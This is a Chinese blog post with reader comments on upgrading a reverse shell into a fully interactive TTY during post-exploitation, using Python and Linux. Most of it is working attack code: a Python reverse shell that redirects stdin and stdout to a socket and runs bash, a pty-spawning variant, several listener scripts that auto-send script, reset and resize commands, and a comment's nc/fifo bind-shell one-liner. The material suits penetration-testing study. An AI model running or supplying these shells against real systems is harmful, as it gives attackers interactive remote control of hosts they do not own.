关于一次python获得完整交互式shell的研究
前言
(以下基于linux系统)在一次研究后渗透的过程中,我学习到了关于tsh(tiny shell)的使用,虽然它已经是一个有了十几年历史的老工具了,但是仍然值得学习和研究,其中最让我感到惊讶的是利用这个工具连接后门可以获得一个完整的交互式shell(可以使用su,vim等命令,可以使用tab补全,上下箭头)!而众所周知我们利用nc,bash反弹的shell并非交互式的,这引起了我的兴趣,由于我比较熟悉的语言是python,于是对python如何反弹完整交互式shell开始了研究。
关于反弹shell升级
在《如何将简单的Shell转换成为完全交互式的TTY》一文中,我们知道可以通过python提供的pty模块创建一个原生的终端,利用ctrl+z,stty raw -echo;fg,并最终reset来得到一个完全交互式的终端。那么假设目标环境中没有python环境,那么我们要如何达到这个效果呢?
通过搜索资料之后,我发现了使用script /dev/null
可以完全代替python提供的pty模块产生一个新的终端,这样就摆脱了对目标环境的依赖,然而利用这种方法有以下几个缺点:
- 比较繁琐(主要原因,我比较懒)
- 需要按下两次ctrl+d才能退回到主机的终端,并且此时整个终端都变得一团糟,需要使用reset来让终端恢复正常。
那么有没有方式可以简化以上步骤呢?有!当你通读完全文后,你将获得一个特制的python脚本来接收一个完整的交互式shell!
最初
我从网上查阅了许多相关的问题,但是无法找到一个令我满意的答案。我们先来看看网上流传得最广的python反弹shell的脚本:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",23333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"]);
这个脚本的原理非常简单。新建一个socket,并将标准输入(0),标准输出(1),错误(2)重定向到socket中,并运行一个shell。当我们执行这个脚本,就达到了与bash反弹shell一样的效果,这意味着我们同样可以用前面说的pty模块获得一个终端....等等,假如我们直接将spawn出的pty直接返回,是否就能够简化上述的一个步骤呢?
于是我有了这样的一个脚本:
# reverse_server.py
from socket import *
from sys import argv
import subprocess
talk = socket(AF_INET, SOCK_STREAM)
talk.connect(("127.0.0.1", 23333))
subprocess.Popen(["python -c 'import pty; pty.spawn(\"/bin/bash\")'"],
stdin=talk, stdout=talk, stderr=talk, shell=True)
当我们运行了这个脚本之后,就直接获得了一个pty,省略了我们之前python -c 'import pty; pty.spawn("/bin/bash")'
的步骤。但是这样还不够好,我们能否通过一个特制的接收端来简化我们ctrl+z,stty raw -echo;fg等步骤呢?
初步结果
在与朋友讨论之后,我们拿出了一个这样的接收端:
# reverse_client.py
import sys, select, tty, termios, socket
import _thread as thread
from sys import argv, stdout
class _GetchUnix:
def __call__(self):
fd = sys.stdin.fileno()
old_settings = termios.tcgetattr(fd)
try:
tty.setraw(sys.stdin.fileno())
ch = sys.stdin.read(1)
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
return ch
getch = _GetchUnix()
CONN_ONLINE = 1
def daemon(conn):
while True:
try:
tmp = conn.recv(16)
stdout.buffer.write(tmp)
stdout.flush()
except Exception as e:
# print(e)
CONN_ONLINE = 0
# break
if __name__ == "__main__":
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.bind(('0.0.0.0', 23333))
conn.listen(5)
talk, addr = conn.accept()
print("Connect from %s.\n" % addr[0])
thread.start_new_thread(daemon, (talk,))
while CONN_ONLINE:
c = getch()
if c:
talk.send(bytes(c, encoding='utf-8'))
其原理是通过getch从标准输入中捕捉所有字符,并将其原封不动地发送给socket,再从socket中接收数据,写入stdout中。
效果
靶机:
攻击机(为了方便展示效果,将原终端的提示符改成TEST):
如你所见,我们获得了一个完整交互式shell!
优化,兼容,处理异常
现在我们的脚本还十分简陋,我们需要对这个特制的客户端进行优化,处理异常,兼容python2和python3,于是我们得到了一个这样的脚本:
# reverse_client.py
import socket
import sys
import termios
import tty
from os import path
from sys import stdout
# import thread, deal with byte
if (sys.version_info.major == 2):
def get_byte(s, encoding="UTF-8"):
return str(bytearray(s, encoding))
STDOUT = stdout
import thread
else:
def get_byte(s, encoding="UTF-8"):
return bytes(s, encoding=encoding)
STDOUT = stdout.buffer
import _thread as thread
FD = None
OLD_SETTINGS = None
class _GetchUnix:
def __call__(self):
global FD, OLD_SETTINGS
FD = sys.stdin.fileno()
OLD_SETTINGS = termios.tcgetattr(FD)
try:
tty.setraw(sys.stdin.fileno())
ch = sys.stdin.read(1)
finally:
termios.tcsetattr(FD, termios.TCSADRAIN, OLD_SETTINGS)
return ch
getch = _GetchUnix()
CONN_ONLINE = 1
def stdprint(message):
stdout.write(message)
stdout.flush()
def close_socket(talk, exit_code=0):
import os
global FD, OLD_SETTINGS, CONN_ONLINE
CONN_ONLINE = 0
talk.close()
try:
termios.tcsetattr(FD, termios.TCSADRAIN, OLD_SETTINGS)
except TypeError:
pass
os.system("reset")
os._exit(exit_code)
def recv_daemon(conn):
global CONN_ONLINE
while CONN_ONLINE:
try:
tmp = conn.recv(16)
if (tmp):
STDOUT.write(tmp)
stdout.flush()
else:
raise socket.error
except socket.error:
stdprint("Connection close by socket.\n")
close_socket(conn, 1)
def main(port):
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
conn.bind(('0.0.0.0', port))
conn.listen(1)
try:
talk, addr = conn.accept()
stdprint("Connect from %s.\n" % addr[0])
thread.start_new_thread(recv_daemon, (talk,))
while CONN_ONLINE:
c = getch()
if c:
try:
talk.send(get_byte(c, encoding='utf-8'))
except socket.error:
break
except KeyboardInterrupt:
pass
# stdprint("Connection close by KeyboardInterrupt.\n")
finally:
stdprint("Connection close...\n")
close_socket(conn, 0)
if __name__ == "__main__":
if (len(sys.argv) < 2):
print("usage:")
print(" python %s [port]" % path.basename(sys.argv[0]))
exit(2)
main(int(sys.argv[1]))
经过我们的修改,它变得更好了。加入了参数调用,处理了异常,并且兼容python2和python3(攻击机都不需要python3,笑:D)。然而它还有一个关键的问题,目标机子必须运行特制的python脚本。
最终成果
还记得我们一开始的研究吗?我们发现script /dev/null
与python spawn出的pty有类似的效果,假如我们用特制的客户端接收shell,靶机使用bash反弹shell会是怎么样的结果呢?
靶机:
攻击机:
看起来我们似乎成功了?输入个命令试试:
天呐,发生了什么,为什么会是一幅烂掉的样子?假如我们试着使用script /dev/null
,然后reset
?
(这里输入的reset并没有显示)
来让我们回车:
没错,我们得到了一个运行正常的完整交互式shell!这说明了利用bash反弹shell来获得完整交互式shell是完全可行的!
于是我们开始优化脚本,在接收到shell之后,通过socket发送指定的命令,来实现我们最终的懒人版!
# reverse_client_bash.py
import socket
import sys
import termios
import tty
from os import path, popen
from sys import stdout
# import thread, deal with byte
if (sys.version_info.major == 2):
def get_byte(s, encoding="UTF-8"):
return str(bytearray(s, encoding))
STDOUT = stdout
import thread
else:
def get_byte(s, encoding="UTF-8"):
return bytes(s, encoding=encoding)
STDOUT = stdout.buffer
import _thread as thread
FD = None
OLD_SETTINGS = None
class _GetchUnix:
def __call__(self):
global FD, OLD_SETTINGS
FD = sys.stdin.fileno()
OLD_SETTINGS = termios.tcgetattr(FD)
try:
tty.setraw(sys.stdin.fileno())
ch = sys.stdin.read(1)
finally:
termios.tcsetattr(FD, termios.TCSADRAIN, OLD_SETTINGS)
return ch
getch = _GetchUnix()
CONN_ONLINE = 1
def stdprint(message):
stdout.write(message)
stdout.flush()
def close_socket(talk, exit_code=0):
import os
global FD, OLD_SETTINGS, CONN_ONLINE
CONN_ONLINE = 0
talk.close()
try:
termios.tcsetattr(FD, termios.TCSADRAIN, OLD_SETTINGS)
except TypeError:
pass
os.system("clear")
os.system("reset")
os._exit(exit_code)
def recv_daemon(conn):
global CONN_ONLINE
while CONN_ONLINE:
try:
tmp = conn.recv(16)
if (tmp):
STDOUT.write(tmp)
stdout.flush()
else:
raise socket.error
except socket.error:
msg = "Connection close by socket.\n"
stdprint(msg)
close_socket(conn, 1)
def main(port):
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
conn.bind(('0.0.0.0', port))
conn.listen(1)
reset = True
try:
rows, columns = popen('stty size', 'r').read().split()
except Exception:
reset = False
try:
talk, addr = conn.accept()
stdprint("Connect from %s.\n" % addr[0])
thread.start_new_thread(recv_daemon, (talk,))
talk.send(get_byte("""script /dev/null && exit\n""", encoding='utf-8'))
talk.send(get_byte("""reset\n""", encoding='utf-8'))
if (reset):
talk.send(get_byte("""resize -s %s %s > /dev/null\n""" % (rows, columns), encoding='utf-8'))
while CONN_ONLINE:
c = getch()
if c:
try:
talk.send(get_byte(c, encoding='utf-8'))
except socket.error:
break
except KeyboardInterrupt:
pass
# stdprint("Connection close by KeyboardInterrupt.\n")
finally:
stdprint("Connection close...\n")
close_socket(conn, 0)
if __name__ == "__main__":
if (len(sys.argv) < 2):
print("usage:")
print(" python %s [port]" % path.basename(sys.argv[0]))
exit(2)
main(int(sys.argv[1]))
我们在连接shell之后向socket发送了几条命令:
script /dev/null && exit
# 这里exit的作用是当我们ctrl+d退出良好的终端时,自动退出那个坏的终端并返回到我们原始终端。
reset
# 重置tty
resize -s x %x > /dev/null
# 将tty的窗体大小设置为原始终端的窗体大小
That is all!
@北方林i 并且那个项目中也不需要你这样去调用如此多的系统组件,总之就是觉得太叼了,八九年前就有人写出来了,现在还能用
我想说github上有一个8年前的项目就是用来实现这个的,用的是Python2,根据他的客户端和服务端生成的交互式shell和本地的bash没有区别,什么命令都能使用,当然除了图形化,而你的客户端代码里根本不用在popen里再执行一次tty.spawn,取一个就行了,但是单popen没有单spawn完善,至于服务端那个代码我也看不懂,总之很长,感觉挺深奥的,而且不兼容py3,不知道怎me改
链接:https://github.com/infodox/python-pty-shells
@leohearts** > 适用于本脚本
当然, 要改成正向连接
如果不想按两次Ctrl+D的话, 可以使用
exec script /dev/null
来自动结束当前终端, 或者直接在弹shell的时候加-c "script /dev/null"
, 就不需要客户端处理了.另外附上本人刚刚自己琢磨出来的bash一句话监听shell
echo > /tmp/fifo; echo > /tmp/fifo2; tail -f /tmp/fifo | nc -lv 2333 > /tmp/fifo2 &tail -f /tmp/fifo2 | bash -i -c "script /dev/null" > /tmp/fifo 2>&1
, 适用于本脚本, 可生成完整终端.由于研究不够谨慎,发现了以下几点问题:
1:script命令在不同发行版似乎表现不同,具体情况是在centos7下测试下一切正常,在kali下测试,script命令运行后,再通过socket直接发送命令似乎无效,tab键补全失常,退格键错误(可以通过reset -e修复) 如果目标环境有python的情况下尽量用python的pty模块或使用c编写的反弹ptyshell:https://github.com/QAX-A-Team/ptyshell
2:resize命令不一定存在,使用stty rows %s columns %s 代替 resize -s %s %s
3:由于搜索姿势不对,发现原来早在13年就有人研究了相关内容,下面是地址,可以结合我的文章进行学习互补:
https://steemit.com/hacking/@synapse/hacking-getting-a-functional-tty-from-a-reverse-shell
https://github.com/infodox/python-pty-shells